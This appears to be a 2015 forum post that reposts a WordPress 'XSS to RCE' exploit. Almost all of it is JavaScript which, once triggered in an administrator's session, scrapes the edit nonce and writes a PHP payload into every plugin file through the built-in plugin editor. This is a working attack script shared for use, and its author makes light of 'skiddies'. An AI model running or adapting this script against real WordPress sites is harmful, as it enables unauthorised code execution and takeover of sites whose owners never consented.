kp112 Posted May 6, 2015 Report Posted May 6, 2015 Exploit that uses a WordPress cross site scripting flaw to execute code as the administrator./*Author: @evex_1337Title: Wordpress XSS to RCEDescription: This Exploit Uses XSS Vulnerabilities in WordpressPlugins/Themes/Core To End Up Executing Code After The Being Triggered WithAdministrator Previliged User. ¯\_(?)_/¯Reference: [url]http://research.evex.pw/?vuln=14[/url]Enjoy.*///Installed Plugins Pageplugins = (window.location['href'].indexOf('/wp-admin/') != - 1) ?'plugins.php' : 'wp-admin/plugins.php';//Inject "XSS" DivjQuery('body').append('<div id="xss" ></div>');xss_div = jQuery('#xss');xss_div.hide();//Get Installed Plugins Page Source and Append it to "XSS" DivjQuery.ajax({ url: plugins, type: 'GET', async: false, cache: false, timeout: 30000, success: function (txt) { xss_div.html(txt); }});//Put All Plugins Edit URL in Arrayplugins_edit = [];xss_div.find('a').each(function () { if (jQuery(this).attr('href').indexOf('?file=') != - 1) { plugins_edit.push(jQuery(this).attr('href')); }});//Inject Payloadfor (var i = 0; i < plugins_edit.length; i++) { jQuery.ajax({ url: plugins_edit[i], type: 'GET', async: false, cache: false, timeout: 30000, success: function (txt) { xss_div.html(txt); _wpnonce =jQuery('form#template').context.body.innerHTML.match('name="_wpnonce"value="(.*?)"') [1]; old_code = jQuery('form#template div textarea#newcontent') [0].value; payload = '<?php phpinfo(); ?>'; new_code = payload + '\n' + old_code; file = plugins_edit[i].split('file=') [1]; jQuery.ajax({ url: plugins_edit[i], type: 'POST', data: { '_wpnonce': _wpnonce, 'newcontent': new_code, 'action': 'update', 'file': file, 'submit': 'Update File' }, async: false, cache: false, timeout: 30000, success: function (txt) { xss_div.html(txt); if (jQuery('form#template div textarea#newcontent')[0].value.indexOf(payload) != - 1) { // Passed, this is up to you ( skiddies Filter ) injected_file = window.location.href.split('wp-admin') [0] +'/wp-content/plugins/' + file; //[url]http://localhost/wp//wp-content/plugins/504-redirects/redirects.php[/url] throw new Error(''); } } }); } });}Source : WordPress 4.2.1 XSS / Code Execution Quote